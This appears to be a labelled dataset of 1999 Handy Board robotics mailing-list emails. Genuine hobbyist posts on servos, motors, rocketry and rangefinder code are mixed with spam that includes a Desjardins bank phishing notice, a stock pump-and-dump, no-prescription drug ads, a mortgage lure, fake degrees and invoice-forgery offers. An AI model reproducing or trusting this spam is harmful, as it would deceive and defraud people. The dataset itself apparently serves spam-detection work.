PICs) to > control the specific motions of the servo's. This will allow you to have > more control over the HB. There are several places on the web (e.g. > http://www.brouhaha.com/~eric/pic/ where you can find info on PIC's > including having them control servo's. I think the timing constraints on > 12 servo's will heavily tax the HB resources. > > Ronald Wijngaarde > > > ---------- > > From: r.farnhill@bssl.co.uk[SMTP:r.farnhill@bssl.co.uk] > > Sent: vrijdag 8 januari 1999 11:30 > > To: handyboard@media.mit.edu > > Subject: hexipod walker > > > > Hi all > > > > Iam thinking about making a six legged walking robot using servos and > > wondered if anybody has already built one. > > I want to use two servos per leg one for lifting and another for the > > sweeping action so giving 12 in total. One thing i want to know is how > > do > > you control twelve servos? i have seen some serial servo controllers > > that > > control upto 256, is it possible to control them with just the > > handyboard. > > also does the HB have enough proccessing power to control all these > > servos > > and still have enough spare for obstical avoidance etc. > > > > > > > > Any thoughts, tips etc. > > > > Thanks Russ.... > > ",0,1 Mike Jones ,"r.farnhill@bssl.co.uk, handyboard@media.mit.edu","Fri, 08 Jan 1999 07:50:49 +0600",Re: hexapod walker,"I have been researching this exact topic for almost a year now. I started off looking at the Handyboard do to its popularity and strong robotic application design but ultimately I've decided to use one or more Atmel processors do to their speed and variety of models. I am seriously looking at using one of their 20 pin versions to control each pair of legs where each leg has 3 degrees of freedom instead of your thoughts of only 2 DOF. If you were to adopt a similar approach of designing intelligent leg controllers this would move much of the tedious (read ""CPU hog"") process off the Handyboard and then it could be a better central brain and leg ""coordinator."" Since it looks like you are near the beginning of your research and design I'll share some of my personal views. The leg lift motors must be very strong but not as fast as the swing motor. This is because in the fastest gait, an alternateing tripod gait, each middle leg must support half of the weight of the robot and this is cantilevered thus amplifying the weight. If you never plan to do an alternating tripod gait then you can reduce the strength of the lift motor because each side of the hexapod will always have 2 legs on the ground at the same time and so must only support one forth the weight of the bot, BUT it will travel at 1/3 the speed of the tripod gait. I am opting to try to put all my actuators (motor) at the hip joint to reduce the moments of inertia. This should let me move the legs somewhat quicker than if some of the motors were located at the knee. This choice also increases the weight that the lift motors must deal with so it is a trade-off. Hobby style servos can get very expensive to match the speed and torque reqirements of even a very small walker. In my case I think I can use 2 standard (42 oz.inch) servos (cost $10 each for cheapos and $20 each for brandname ball bearing variety) and 1 high torque (90-100 oz,inch costing about $60). If I want the high speed versions (.12 sec for 60 degrees instead of .22 sec) it will almost double the cost of the servos but will also double the walking speed. My original goal was for an 18-22 inch hexapod to have a max speed of about 2 mph which equates to 6 six inch steps every second! there are NO hobby style servos that can come even close. So the next best option is about 1/3 my orginal goal and plan to redesign the legs in the future using geared DC motors instead of hobby servos which lets me gear them to fit the need and use really fast motors. If you care to discuss this topic any further contact me directly since we may be staying somewhat off topic, unless there is enough interest on this list to continue and the powers that be, Fred(?), think it would be appropriate to discuss this here. I am interested in communicating with anyone out there that may be doing anything even remotely associated with this. Mike >Hi all > >Iam thinking about making a six legged walking robot using servos and >wondered if anybody has already built one. >I want to use two servos per leg one for lifting and another for the >sweeping action so giving 12 in total. One thing i want to know is how do >you control twelve servos? i have seen some serial servo controllers that >control upto 256, is it possible to control them with just the handyboard. >also does the HB have enough proccessing power to control all these servos >and still have enough spare for obstical avoidance etc. > > > >Any thoughts, tips etc. > >Thanks Russ.... > > ",0,0 Mike Jones ,handyboard@media.mit.edu,"Fri, 08 Jan 1999 11:49:55 +0600",New mail list for legged robots,"I decided to jump off the deep end and have created a new mail list for anyone interested in legged/walking robots regardless of CPU or ""brain board"". You can join this list by sending a mail message to legged-robots-subscribe@egroups.com or you can visit the site http://www.egroups.com/list/legged-robots/ This will be where the archive will reside. An email message with instructions will be sent to you. Since this is a new list I don't know how busy it will be but it should be interesting. I will forward the last few messages from here that deal with this subject. Mike ",0,1 Rob Mason ,Tom Mitchell ,"Fri, 08 Jan 1999 16:25:33 -0500",Re: relevant voxels?,"Tom, Sorry if I kept you waiting for the list of relevant voxels. Our program to select out the values of the relevant voxels was creating a data file with only the signal and image information. We were deleting the x, y, and z coordinate information because it was no longer necesary for data analysis. Once I realized this, I ran a short script to print out an ascii file containing only the corrdinate information. Attached to this e-mail should be two tar files (the command to untar is: tar -xvf 02882_voxinfo.tar (or ...02930...)). You will have two directories, here's a short description of what they contain: 02882_voxinfo (parent dir) .. 02882.LB.fs.list (ascii list of relevant voxels for left Broca) .. 02882.LT.fs.list (ascii list of relevant voxels for left Temporal) .. mroi (dir of roi information) .. .. LB, LT, RB, RT (subdirectories for four ROIs) .. .. .. 02882_??_Z0 to 02882_??_Z6 (these ascii files contain x and y coordinates of the ROI for each slice numbered 0 to 6) **** Note from Chuck **** - the data in the "".list"" files is indexed based on the first voxel being x=1,y=1,z=1 - the data in the ""mroi"" files is indexed based on the first voxel being x=0,y=0,z=0 02930_voxinfo will be the same except it does not have RB and RT (right broca and right temporal) ROI subdirectories. If any of the ROI subdirectories seems to be missing a file, it will be due to the ROI not existing on the missing slice. Hopefully this will be enough to get you started. I would begin with the .list voxels and if that goes well, then look at the ROIs. Let me know if there are any problems. rob. -- --------------------------------- Robert A. Mason Center for Cognitive Brain Imaging Department of Psychology Carnegie Mellon University Pittsburgh, PA 15213 e-mail: rmason@andrew.cmu.edu phone: (412) 268-2402 fax: (412) 268-2804 http://www.andrew.cmu.edu/user/rmason/index.html",0,1 services.de.cartes.desjardins@scd.desjardins.com,handyboard@media.mit.edu,"Fri, 08 Jan 1999 09:36:26 -0700",Avis Important et Personnel,"X-media.mit.edu X-AntiAbuse: Originator/Caller UID/GID - [99 32035] / [47 12] X-AntiAbuse: Sender Address Domain - server1.hostingdna.com X-Source: X-Source-Args: /usr/local/apache/bin/httpd -DSSL X-Source-Dir: hostingdna.com:/public_html/phplive/mailer Mouvement Desjardins Cher(e) membre Desjardins/ Acc�sDLe d�partement de v�rification comptable du Groupe Desjardins a d�tect� un probl�me de transaction dans votre compte. Un montant a �t� d�pos� et retir� par notre syst�me comptable. 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Newell"" ","handyboard@media.mit.edu, ernestine@media.mit.edu, mara@media.mit.edu, felecia@media.mit.edu, lora@media.mit.edu","Sat, 09 Jan 1999 05:58:33 +0000",Stocks in Play,"Res0rt C|ubs |nternational_Inc. Now Listed and Trading on Frankfurt Exchange! Act fast on this one! A Massive PR Campaign is underway for Tuesday and the rest of the weeks trading, Get In Early the price is going to Make a BIG JUMP!! Company: Res0rt C|ubs |nternational_Inc. Sym: R|T(C|I Currently Trading at: $.45 Its 1 Week_Target is: $1.60 Res0rt C|ubs |ntl has an explosive business model focused on the golfing industry (an industry showing substantial growth). Through its various private labeled membership programs, Res0rt C|ubs |ntl creates a multi-club membership program for its members and provides access to several courses for one low membership fee. ",1,0 """Steve Troppoli (ultranet)"" ",HB ,"Fri, 08 Jan 1999 18:25:02 -0500",Re: supplier for Sharp IS1U60 infrared demodulator,"All- Ok, I'll re-phrase..... Does anyone have the name and supplier of a substitute (for the Sharp IS1U60 infrared demodulator) that they have gotten to work reliably? Thanks. Steve ""Steve Troppoli (ultranet)"" wrote: > Hello Folks- > > A couple of months ago I built a HB with the exception of one part... > > U15 (Sharp IS1U60 infrared demodulator) > > ... I now have the need. > > I am looking for the info for a supplier or individual that will sell a > small number(2). I'm in the Massachusetts area, and will come and get > them. > > Thanks! > Steve. ",0,0 Jose ,handyboard@media.mit.edu,"Wed, 13 Jan 1999 13:00:44 +0800",Full of health? Then don't click!," Little magic. Perfect weekends. 36 hours: for all your needs :) Chose place and time.It will do the rest. Extra power. Don't think. Just act. This stuff is not really expensive as before... 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Aldo Gentile aldo@lacapital.com.ar ",0,0 �� ���� ,handyboard@media.mit.edu,"Mon, 21 Sep 1931 17:34:32 +0000",�����ڱ� �ѽð��ȿ� �ذ��ϼ��� ������,������������������������������������������������      ���������� ���������� ������ VIP�� ��������          ������  ��������  �������� ����������      �������� ���� 20���� �������� ��������������      ���������� �������� ���� ������ ������������           ���������� ������ ������ ������ ������   ������������������������������������������������,1,1 Ted Mylenbusch ,handyboard@media.mit.edu,"Sat, 09 Jan 1999 15:35:54 -0500",Failure to Boot Up,"I recently purchased the Handy Board 1.2 and am running the HC11E1FN. I also purchased the IC compiler from Newton Research Labs. Everything worked great. I hooked up a hobby servo to PA7 and it ran well with the supplied c routines. However, after disconnecting the servo, when I tried to use PA7 to develop some sonar routines, it wouldn't respond to the following code: Bit_set(0x1026, 0b10000000); Bit_set(0x1000, 0b10000000); I checked it with the vom and it stayed low the whole time even during interactive commands. Then I ran the testdigitals() function in the hbtest.c set and the digital input 2 (starting with 0) would show logic 1 (active low) regardless of what I did. Now this morning, when I turn on the power, all I get is a clicking sound from the piezo speaker. I have exhaustively looked for shorts and poor solders. I have re-soldered 5 or 10 pins just to make sure. I swapped out the 74HC244 to see if he was the culprit, no avail. Can anyone give me some steps from here? Ask me some questions, I'm stumped. Thanks. Ted Mylenbusch Amylen@worldnet.att.net ",0,0 Christal Mcconico ,handyboard@media.mit.edu,"Sat, 09 Jan 1999 12:43:50 -0700",Re: your CtkALlS,"Hi V V P X L C A A I r a e I m L A o n v A b I G z a i L i U R a x t I e M A c ra S n http://www.anocallas.com Then they knew that Gandalf was going to leave them at the very edge of Mirkwood, and they were in despair. But nothing they could say would change his mind. Now we had this all out before, when we landed on the Carrock, he said. It is no use arguing. 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The cheapest solution I've found is the RF module from Lynxmotion. Does anyone have any experience with this, or perhaps suggestions for simpler or more reliable solutions. I found in the archives a mention of using a IrDa module from TI. What is this? Thanks, Aaron ",0,0 Mark Williamson ,"Aaron Edsinger , handy ","Sun, 10 Jan 1999 15:00:50 -0800",Re: Wireless Handyboard Link ?,"-----Original Message----- From: Aaron Edsinger To: handy Date: Sunday, January 10, 1999 1:04 PM Subject: Wireless Handyboard Link ? Hello, I am investigating createing a wireless serial link between my PC and handyboard. The cheapest solution I've found is the RF module from Lynxmotion. Does anyone have any experience with this, or perhaps suggestions for simpler or more reliable solutions. I found in the archives a mention of using a IrDa module from TI. What is this? Thanks, Aaron I too am interested in this; I have been looking at the RF modules at http://www.linxtechnologies.com/ their modules are cheaper and offer a wider range of options. They also have a sample application note that shows how to implement a simple packet based protocol with error correction. The big problem with their setup is that you must purchase an expensive ""evaluation"" kit prior to placing orders for the real modules. the modules are cheap; the eval kits have 2 RX / 2 TX modules, a development board, documentation. Regards, Mark Williamson",0,1 Phil ,handyboard@media.mit.edu,"Sun, 10 Jan 1999 22:23:00 -0600",HB and Acceleration,"Hello, Does anyone here know how acceleration will affect the operaion of a handyboard, and also will sudden changes in altitude (like, 3,000 feet in less than ten seconds) affect it's operation? I have a High Power Rocketry launch coming up in May, and I'm desinging a payload that will be controlled/documented by my HB so I need to know how much the HB can take. And no, it is *not* a guided missile with a warhead! -philsky ",0,0 Max Davies ,"Phil , Virtual Friends ","Mon, 11 Jan 1999 00:18:25 -0500",Re: HB and Acceleration,"Phil wrote: > Hello, > Does anyone here know how acceleration will affect the operaion of > a handyboard, and also will sudden changes in altitude (like, 3,000 feet > in less than ten seconds) affect it's operation? I have a High Power > Rocketry launch coming up in May, and I'm desinging a payload that will be > controlled/documented by my HB so I need to know how much the HB can take. > > And no, it is *not* a guided missile with a warhead! > > -philsky I presume that you are not planning on using my infrared control software! Good luck in your project, it sounds like fun. Wanna tell us more about it? /Max ",0,0 Celeste Thorton ,handyboard@media.mit.edu,"Sun, 10 Jan 1999 21:38:30 -0500","is your memory bad, we can help","some adverb it's orville but antarctica ! spool on please ",1,0 Meriwether Levesque ,handyboard@media.mit.edu,"Sun, 10 Jan 1999 21:25:45 -0700",Re: your CtrALlS,"Hi V L V A P C X I e A m r I a A v L b o A n G i I i z L a R t U e a I x A ra M n c S http://www.cationslate.com brilliantly, and it was a long while before he could bear it. When he could, he saw all round him a sea of dark green, ruffled here and there by the breeze; and there were everywhere hundreds of butterflies. I expect they were a kind of purple emperor, a butterfly that loves the tops of oak-woods, but these were not purple at all, they were a dark dark velvety black without any markings to be seen. He looked at the ",1,1 �W���ǮT�ֺ�Janis <.@msa.hinet.net>,handyboard@media.mit.edu,"Tue, 14 Aug 1894 12:51:56 +0800",7��s�W �L�Ӭ¤j�s��|���� �@60���s��Janis,Janis ���F       �x�W�s�M�\\ ���F       �x�W�s�M�\\    �����T�Q�M   �����K�B�O   �^�X�x�W���� �@�M 20��   �S��  1550��      ���q  1000�M  Janis,1,1 r.farnhill@bssl.co.uk,handyboard@media.mit.edu,"Mon, 11 Jan 1999 15:33:52 -0000",Motor Ports,"Hi all, Is it possible to add more motor ports to the handy board by simply copying the existing motor drive circuit and putting them on the expansion header where the extra chip select lines are. if so what changes would be needed to make IC motor() functions control the extra ports, and what impact would this be on the CPU resources. I need to control 12 individual motors and maybe 18 in the future. Cheers Russ..... ",0,0 r.farnhill@bssl.co.uk,handyboard@media.mit.edu,"Mon, 11 Jan 1999 14:27:33 -0000",motor ports,"Hi all, Is it possible to add more motor ports to the handy board by simply copying the existing motor drive circuit and putting them on the expansion header where the extra chip select lines are. if so what changes would be needed to make IC motor() functions control the extra ports, and what impact would this be on the CPU resources. I need to control 12 individual motors and maybe 18 in the future. Cheers Russ..... ",0,0 Ipsofac@aol.com,handyboard@media.mit.edu,"Mon, 11 Jan 1999 10:52:01 -0500",DL problems," I put together the HB shortly after it first became available. This is key because it worked-downloading and all. I put it down for a year because of family problems but all that time left it plugged in because of the Ni-cad. I feel that should make no difference but now to the problem. IT WILL not tale a download no how no way. My MAC OS 8 comjper will not see the Handy Board or often will load 255 bytes but not the 256th-the last one. If one tried 15 times the init board from the Freeware IC it would take that so I was running IC 2.81 1993. I then got the Commercial; version from Newton Labs and now nothing. Interestingly-and maybe a pointer to the problem-with the IC3.1-when I try to reload the P code-the HB's green light will NOT go out as it must for the HB to be in Downloadmode.(IT still stays on for a 1/3 of sec. with the freeware version but will not take DL anymore no matter how many times I try. I just bought a new telephone 4 wire cable-it makes no difference. When you try a DL you see the blinking green light on the serial interface- the Maxam chip seems to have the proper voltages. I STUMPED-bad 32k memory? The only other clue was using the the MC downloader-and at one point I got an error message Apple talk driver open error-port not configured-but Apple talk was not on nor is it ever. I have not been the MC dopwnloader-I just tried it to see- none of the DLer maske any difference Any help Greatly appreciated Cappy Anderson ",0,0 Jeremy Foo ,"handyboard@media.mit.edu, fredm@media.mit.edu","Tue, 12 Jan 1999 00:59:38 +0800",cant control motor speed,"dear fred and readers my motors is 30V. i am using the external batteries as instructed on the website. but i cant control the motor speed using the command: motor(0,...) i then remove the external batts and supply power to the other power pts(top left hand corner of the board). i noticed as i increase the voltage supply, my motor then turns faster. however is there a way to controlthe motor spd by program instead of inceasing the voltage supply. and which motor ports should i use, the external ports or the pts on the top left hand corner? plese reply to me soon thank u. ",0,0 Phil ,Max Davies ,"Mon, 11 Jan 1999 12:32:42 -0600",Re: HB and Acceleration," On Mon, 11 Jan 1999, Max Davies wrote: > Phil wrote: > > > Hello, > > Does anyone here know how acceleration will affect the operaion of > > a handyboard, and also will sudden changes in altitude (like, 3,000 feet > > in less than ten seconds) affect it's operation? I have a High Power > > Rocketry launch coming up in May, and I'm desinging a payload that will be > > controlled/documented by my HB so I need to know how much the HB can take. > > > > And no, it is *not* a guided missile with a warhead! > > > > -philsky > > I presume that you are not planning on using my infrared control software! > Good luck in your project, it sounds like fun. Wanna tell us more about it? > > /Max Most likely not, Max, unless I save up a lot of money and get a daVinci organizer or something like that and write up a donwlink program... :-) There's this thing here in Wisconsin (And in Michigan and Iowa) called ""Rockets for Schools"" It lets students launch high power rockets, rockets with motors that need special certification because of their high power. So I have this 5 foot tall rocket sitting above my desk that we flew last year with a radio transmitter in it just to hear the motor fire. this year, I want to desing a payload to analyze the flight, etc. things like the spinrate of the vehicle, possibly acceleration, and perhaps monitoring some other things like temperature. Just wanted to make sure the HB was up for the job. Just FYI, rockets for schools is a REALLY neat thing! They launch the rocket for $50, that includes 2 days worth of fun. There are some rocket and electronic vendors, information groups and college recruiters there. Not to mention watching a SuperLoki launch (it's a big old sounding rocket)..... -phil ",0,0 """J. Fredrik Hesselvik"" ","Carolyn Smith , Fred Hesselvik ","Mon, 11 Jan 1999 14:08:08 -0500",CD cover scans,"Hi Carolyn, Here are the CD cover images - web-optimized as best I could make them. One is a JPEG, one is a GIF because the runes didn't come out very well in JPEG. Hope this works - I'm gettin group photos to scan and will forward them as they become available. Fred ",0,0 Michjo Croyle ,handyboard@media.mit.edu,"Mon, 11 Jan 1999 07:12:27 -0700",Re: CtAeLlS new,"Hi V d A a L o I q U r M x V x I q A t G p R o A b C w I m A z L c I x S z X o A d N k A b X q http://www.heavenwardlokvan.com materia dateles extensibl directiona inle You were ... what? Gates was barely audible, his thin voice tremulous. Yes. Odd, isnt it? I imagine that when this man in Paris tried to reach you here in Boston, someone told him your imperial presence was out or away and thats how the mix-up began. Two brilliant legal minds, both with an elusive connection to a woman and her two children, and Paris thought I was you. ",1,1 brett anthony ,'Phil' ,"Mon, 11 Jan 1999 11:53:07 -0800",RE: HB and Acceleration," Hi Philsky; I've seen videos of some of these ""serious amateur"" rocket launches, and from that I would say acceleration is your prime concern, followed by shock and vibration. I'm assuming you will substitute a lightweight 9V lithium battery for the NiCd battery pack, and that you will remove the LCD and use the ""NoLCD"" version of the P-code. Beyond that, I would mount the thing flat so the G-forces won't tend to pull the chips from their sockets, and you might want to consider soldering as many of the external connections as possible, rather than relying on connectors. Go to an R/C shop and buy some of the foam rubber they sell there specifically for protecting R/C receivers and wrap the HB with that. Some additional considerations: If you don't need the motor-driver or IR features of the HB you might want to consider the Fingerboard, which is basically a Handyboard without the peripherals (you can add whatever ports etc. you actually need). The Fingerboard is thus smaller and lighter, however not any more shock or vibration resistant. You could also ""pot"" the HB (or the FB) with RTV silicone, but this makes parts replacement more difficult, and won't dissipate heat. You also might want to think up ways to torture test your rig beforehand. Tie it to a rope and twirl it round your head? Bungee drop it from a building? Finally, if you plan to use R/C or telemetry with this rocket, be aware that the HB generates a lot of RF noise, so you may have to experiment with shielding. Dealing with EMI and RFI is a black art, understood by few, and requires much experimenting. I recently built a small data-logger using a Fingerboard wrapped in fishpaper and R/C foam for use on mountain bikes and all-terrain-vehicles, but weather has prevented any serious teating. Preliminary tests were promising, though. Brett Anthony Equipment Technician College of Engineering and Computer Science California State University, Sacramento Postal Mail: Brett Anthony CSUS, E&CS 6000 J St. Sacramento, CA 95819-6023 email: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 ",0,0 Carl ,handyboard@media.mit.edu,"Tue, 12 Jan 1999 14:21:50 +0500",Our Customer said it all," We are the ONLY (yes - only) online med store verifed by BBB and approved by Visa Thats a BIG plus Do shopping with us with confidence, we sell quality meds at great prices Check us out http://lkmfci.kickhim.info/?lzmcdvdfufjo not interested? you can out-out at our website ",1,1 tone ,'Handyboard' ,"Mon, 11 Jan 1999 21:16:13 +0100",TI SN754410,"Hi, this must have been asked before. But where can I get the TI SN754410 from On-line ordering if possible or a UK supplier. I managed burn one out on my Handy Board at the weekend :o( is there a way to protect these chips from motors that take too much power? all help welcome thanks tone ",0,0 Tom Brusehaver ,tone@caverna.i-way.co.uk,"Mon, 11 Jan 1999 15:52:38 -0600",Re: TI SN754410," > this must have been asked before. But where can I get the TI SN754410 >from On-line ordering if possible or a UK supplier. > I managed burn one out on my Handy Board at the weekend :o( is >there a way to protect these chips from motors that take too much power? There is nothing wrong with using fuses (or circuit breakers) on motor circuits. This can protect the chips, AND the motor. ",0,0 mark williamson ,Handy Board ,"Mon, 11 Jan 1999 14:01:27 -0800",360 degree ranging,"I'm building a theory about how to make a 360 range finding system. It only needs to be accurate out to, say, a foot or 18 inches. basically it's a ""before you bump"" bump system. I've thought of using a series of IR emitters/detectors in a circular fashion. Then timing a pulse from each emitter and waiting for the detector to fire off, and return the value (resistance) to the HB's analog input. I only want to use one input for this, not all of the 8 inputs, which would probably make the project easier, then I'd just have to do the polling in software. So, here's what I think i need: 8 IR detectors/emitters. to cover a rough 360 degree view. A circuit to switch between each detector/emitter pair. A timing device to fire off the IR emitter and a latch to hold the value coming off of the detector. However, I also need to know which detector did the detecting. So, the switching mechanism would set a value (binary counter?) to indicate which detector is active, or more accurately, which detector the value on the latch/buffer belongs to. I'm thinking this might be better done as a serial interface design, that way you could pass the detector number, followed by the value of the detector. If someone has already done this, please send me your link to your website or some readme files. I know this can be done, but with my crippled knowledge of electronics, i'll have to rely on your brainpower to get me through this.... Thanks, Mark Williamson ",0,0 mark williamson ,Handy Board ,"Mon, 11 Jan 1999 14:02:59 -0800",Fw: 360 degree ranging,"I'm building a theory about how to make a 360 range finding system. It only needs to be accurate out to, say, a foot or 18 inches. basically it's a ""before you bump"" bump system. I've thought of using a series of IR emitters/detectors in a circular fashion. Then timing a pulse from each emitter and waiting for the detector to fire off, and return the value (resistance) to the HB's analog input. I only want to use one input for this, not all of the 8 inputs, which would probably make the project easier, then I'd just have to do the polling in software. So, here's what I think i need: 8 IR detectors/emitters. to cover a rough 360 degree view. A circuit to switch between each detector/emitter pair. A timing device to fire off the IR emitter and a latch to hold the value coming off of the detector. However, I also need to know which detector did the detecting. So, the switching mechanism would set a value (binary counter?) to indicate which detector is active, or more accurately, which detector the value on the latch/buffer belongs to. I'm thinking this might be better done as a serial interface design, that way you could pass the detector number, followed by the value of the detector. If someone has already done this, please send me your link to your website or some readme files. I know this can be done, but with my crippled knowledge of electronics, i'll have to rely on your brainpower to get me through this.... Thanks, Mark Williamson ",0,0 Aaron Edsinger ,handy ,"Mon, 11 Jan 1999 02:39:37 -0800",Expansion board motor outs???,"I just wanted to verify something before I went and purchased the expansion board. Are the HB's motor outputs still available when using the expansion board. It is unclear in the doc. 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The PCODE then apparently does the shifting of the speed patterns through each of the motor ports synchronous to the 1ms interrupt. If you added the hardware for the additional motoros and butchered up the LIB_HB.C routines to accommodate them, you'd still to have an interrupt routine which would take the info for each of the new motors and shift them through at the 1ms rate. If you use the public domain IC, you could do this directly in the PCODE ASM source file. If you use the commercial IC 3.2, you'll have to write an ICB file to handle it since the PCODE source is not available as far as I know. Mike Gansler Bosch Braking Systems -----Original Message----- From: r.farnhill@bssl.co.uk [mailto:r.farnhill@bssl.co.uk] Sent: Monday, January 11, 1999 10:34 AM To: handyboard@media.mit.edu Subject: Motor Ports Hi all, Is it possible to add more motor ports to the handy board by simply copying the existing motor drive circuit and putting them on the expansion header where the extra chip select lines are. if so what changes would be needed to make IC motor() functions control the extra ports, and what impact would this be on the CPU resources. I need to control 12 individual motors and maybe 18 in the future. Cheers Russ..... ",0,0 Maude Zelma ,handyboard@media.mit.edu,"Tue, 12 Jan 1999 07:05:27 -0600","SAVE 82%: VIAGR*, AMBIE*, CIALI*, XANA*, RIVOTRI*, LEVITR*, CIPRO, MERIDI*, CELEBRE*, VALIU* cousin"," Quality Meds Selling At Cheeap We dont keep ur record (not even your name) You just pay & we ship, No Question form to fill We ship to all countries Viagr*, Ambie*, Ciali*, Xana*, Rivotri*, Levitr*, Cipro, Meridi*, Celebre*, Valiu*, Zoloft & Many More Meds force http://www.geocities.com/as8ecfakm/ (Click this link to save 80%) length music effect, understand familiar clear, girls yours years. ",1,1 Simon.Schulz@hagener-tgz.de,handyBoard@media.mit.edu,"Tue, 12 Jan 1999 18:30:12 +0100",The Onboard memory Circuit,"I have some questions about the handyboard memory: 1) Does it matter if i use a 70ns Eprom instead of the 100ns one? 2) Can you use EEproms or FlashRoms instead of the Eprom ? 3) Can i use more memory than the 256 KB ? And is there a exchange transistor type for the ZTX614 (IR-Output) ? And which type of IR-Transmiters do i need ? Simon ",0,0 GDFRITZ@aol.com,handyBoard@media.mit.edu,"Tue, 12 Jan 1999 14:59:52 -0500",Anyone have the HB in continuous powerup?,"Hi all, Is anyone using the HB in a continuous powered up situation? Any problems with it? Also, Anyone know how to use a Timer circuit (Date & Time) with the HB? I'd like to have timed (Daily/weekly/monthly) events. Thanks! Gerald ",0,0 Elias Farrell ,handyboard@media.mit.edu,"Tue, 12 Jan 1999 12:22:50 -0600",RERE:WE approved yours loan 9wb4i,"Dear Homeowner, http://usmortz.com You have been approved for a $ 449,986 house loan (2.9 fixed) This offer is being presented to you right now!. Your credit history is in no way a factor. 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Wayne ",0,0 ★恒利达★ ,handyboard@media.mit.edu,"Wed, 13 Jan 1999 10:39:11 +0800",最近可好！,"New Page 1 [若以下邮件打扰了您我在此深表歉,请随手删除!!] 超星实业有限公司成立于1990年,经过十多年的发展不断壮大,现在全国各大中城市均设有分公司与全国上百家公司有着密切的业务联系。可优惠对外代开发票,代开范围:商品销售,广告,运输,其它服务,餐饮,建筑安装,农牧鱼业专用发票,增值税发票等,可根据所做数量额度的大小来衡量优惠的点数(普票税率1.5%左右,增值票6%左右)，本公司郑重承诺所用票据均为各单位在税务局所申领，可上网查询或到税务局抵扣验证。 详情请电：13926596226(张先生)0755-21124097  邮箱:lucky08@21cn.com 请收藏我们的信息以备急用!",1,1 Shelly ,handyboard@media.mit.edu,"Tue, 12 Jan 1999 22:31:42 -0600","What are you waiting for,","F A S T T R A C K D E G R E E P R O G R A M Obtain the degree you deserve, based on your present knowledge and life experience. A prosperous future, money earning power, and the Admiration of all. Degrees from an Established, Prestigious, Leading Institution. Your Degree will show exactly what you really can do. Get the Job, Promotion, Business Opportunity and Social Advancement you Desire! Eliminates classrooms and traveling. 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I then wrote software to control the speed of two drive wheels using pulse width modulation. I didn't have much of a hardware timer (just a free running hardware clock), so my control program used 75% of the CPU time just controling those two motors. I didn't have enough time for the big job of planning what those motors were to do (where the robot goes). I have since learned PIC programming. Hope this saves time Pherd ",0,0 Ipsofac@aol.com,handyboard@media.mit.edu,"Wed, 13 Jan 1999 08:12:29 -0500",Downloading problems,"The other day I posted to this board that I was having downloading problems with a HB which once had none. Simon very kindly E-mailed me reminding me about the proper phone cable. Seeing he was the only one-I-by necessity have become an expert. Also- seeing that no one else has ever had a problem judging by the response-I shall gladly lend my expertise seeing that I must be the only one with experience in this area if it should ever arise-which I could surmise is not often-which would be wrong. Cappy Anderson ",0,0 """SHETTI.NITIN.MANGESH"" ",handyboard@media.mit.edu,"Wed, 13 Jan 1999 19:19:24 -0500",,"Dear Friends, We, at VESIT ,Bombay,India are making a rover which is capable of navigating itself and avoiding obstacles.For this,we are using the handy board.The soldering work has been completed and we are now trying to use 'download software' with it. In the handy board assembly manual it has been said that inorder to check the charger/interfacing circuit, connect only the that circuit(charger/interfacer) without the handy board to the host computer using a appropriate modem cable (RS232).Then the charger/interface board has to be powered causing the red LED(PWR) to glow. Next,the download software has to be run. At this stage the green LED on the board should glow up indicating transmission of data (or readiness to transmit data).We are finding that the green LED(SER) does not glow in our circuit.(please refer to section 3.3.2 of the hba.pdf file for more explanation) We are therefore unable to find whether this particular board is working and hence we cannot risk connecting the handy board to the charger/interfacer board. Can someone please tell me what are the possible reasons causing this to occur?Please reply as soon as possible as we have to begin testing the program to run the rover. Yours Sincerely, Nitin ",0,0 Lewis Patterson ,handyboard@media.mit.edu,"Wed, 13 Jan 1999 08:34:53 -0600",GP2D02 Interface Question?,"Attached below is IC code for a GP2D02 rangefinder. This is a slightly enhanced version of code from Bjorn Astrand. My question relates to the use of TMSK1 in the code. From reading various M69HC11 documents, I think (???) that I know what bits are being set but I do NOT understand why this is being done. If someone would help me understand the necessity of using TMSK1 for this routine, I would be grateful. If you see other problems in the code, please let me know. Thanks! /*----------------------------------------------------------------------*/ /* sharp.c - Interface for Sharp GP2D02 infrared rangefinder. This routine is a modification of code written by Bjorn Astrand (see http://www.hh.se/staff/bjorn/download/). The GP2D02 must be connected with Vin attached to MISO and Vout attached to MOSI (port D pins). Note: Vin is connected to MISO through a simple voltage divider network to insure that it does not exceed 3 volts. A crude picture of the network is shown below. MISO -------R1(1K)---------------------- Vin (GP2D02) | | R2(1K) | | | ----- --- - */ /*---------------------------------------------------------------------*/ #undef DEBUG int sharp(){ #define TMSK1 0x1022 #define PORTD 0x1008 #define DDRD 0x1009 int result; int mask= 8; int bit0,bit1,bit2,bit3,bit4,bit5,bit6,bit7; long t; /* Define D port output pin which is connected to Vin of GP2D02. */ poke(DDRD,0b00000100); /* Raise Vin to reset the GP2D02. */ poke(PORTD,0b00000100); /* Let that signal remain high for a short interval (safety). */ msleep(2L); /* Drop Vin to trigger a measurement by GP2D02. */ poke(PORTD,0b00000000); /* Wait a max of 70 msecs or until Vout from GP2D02 goes high. */ t= mseconds()+70L; while(mseconds() < t){ /* Break the delay loop if we see an input signal. */ if((peek(PORTD)&mask) == 1)break; msleep(2L); } /* Setup the TMSK1 register. */ poke(TMSK1,0b00001100); /* ??? */ /* Repeatedly raise and lower Vin to gate the 8 bits of data from the GP2D02; save each bit. */ poke(PORTD,0b00000100); poke(PORTD,0b00000000); bit0= peek(PORTD); poke(PORTD,0b00000100); poke(PORTD,0b00000000); bit1= peek(PORTD); poke(PORTD,0b00000100); poke(PORTD,0b00000000); bit2= peek(PORTD); poke(PORTD,0b00000100); poke(PORTD,0b00000000); bit3= peek(PORTD); poke(PORTD,0b00000100); poke(PORTD,0b00000000); bit4= peek(PORTD); poke(PORTD,0b00000100); poke(PORTD,0b00000000); bit5= peek(PORTD); poke(PORTD,0b00000100); poke(PORTD,0b00000000); bit6= peek(PORTD); poke(PORTD,0b00000100); poke(PORTD,0b00000000); bit7= peek(PORTD); /* Restore Vin to HIGH state. */ poke(PORTD,0b00000100); /* Reset the TMSK1 register. */ poke(TMSK1,0b00011100); /* ??? */ /* Combine those bits into an integer result. */ result= (bit0&mask)*16+(bit1&mask)*8+(bit2&mask)*4+(bit3&mask)*2+ (bit4&mask)+(bit5&mask)/2+(bit6&mask)/4+(bit7&mask)/8; #ifdef DEBUG printf(""%b\\n"",result); #endif /* Return the result. */ return result; } void sharp_testing(){ while(!stop_button()){ printf(""%d\\n"",sharp()); } beep(); }",0,1 DjKOz97@aol.com,"markw98@ibm.net, 